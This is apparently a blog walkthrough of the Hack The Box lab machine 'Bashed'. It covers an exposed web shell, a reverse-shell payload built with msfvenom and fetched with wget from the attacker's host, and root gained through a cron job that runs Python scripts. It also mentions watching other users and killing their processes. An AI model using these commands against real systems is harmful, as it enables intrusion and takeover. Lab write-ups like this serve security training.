HTB: Bashed
I run dirbuster on a small wordlist. It finds /dev/phpbash.php. phpbash.php lets user www-data run bash commands on the machine. I try various reverse shells and none of them work. I resort to making an elf file using msfvenom. The command to make the shell is: msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.4 LPORT=443 -f elf > ex.elf
I switch to the /tmp directory and download my elf shell using wget http://10.10.14.4/ex.elf
. The system is so old that chmod +x doesn't work. You can use chmod 777 ex.elf
instead. I run ./ex.elf
and get a reverse shell back in the terminal. The first command I do is sudo -l
. I notice I can run any command as user scriptmanager. You can either run sudo -u scriptmanager bash -i
or connect to another shell.
I download linpeas.sh and run the script. Linpeas is my next step toward privilege escalation. Linpeas points to an unsuual directory called /scripts. It also shows /scripts has been modified in the past 5 minutes. This could indicate a cron task is running.
I download a file called pspy32. It shows all the tasks running on a machine, including what the root user is running. I LOVE pspy32. It shows me if another HUMAN is in the box besides me. I can kick them off by killing their process. Its my #1 "who the hell is in here with me" program. This program will show you everywhere the other person is going, cd'ing into things, looking at files, downloading files, etc. You can see my own intrusion here.
Once we wait a few minutes, we can see a cron task running every 1-5 minutes. The command cat /etc/crontab
will not show us what root is running. We would need pspy32 to see. The code shows the root user runs ALL python files located in the /scripts folder.
I make a python file called test6.py. I host it on my kali box and then wget it to victim box. I find it easier to work on a file on my kali box, because the echo will be tricky with the ' and " characters.
The file has been downloaded. Now we wait.
And there we go! The python script worked. We are now root.
Comments
Post a Comment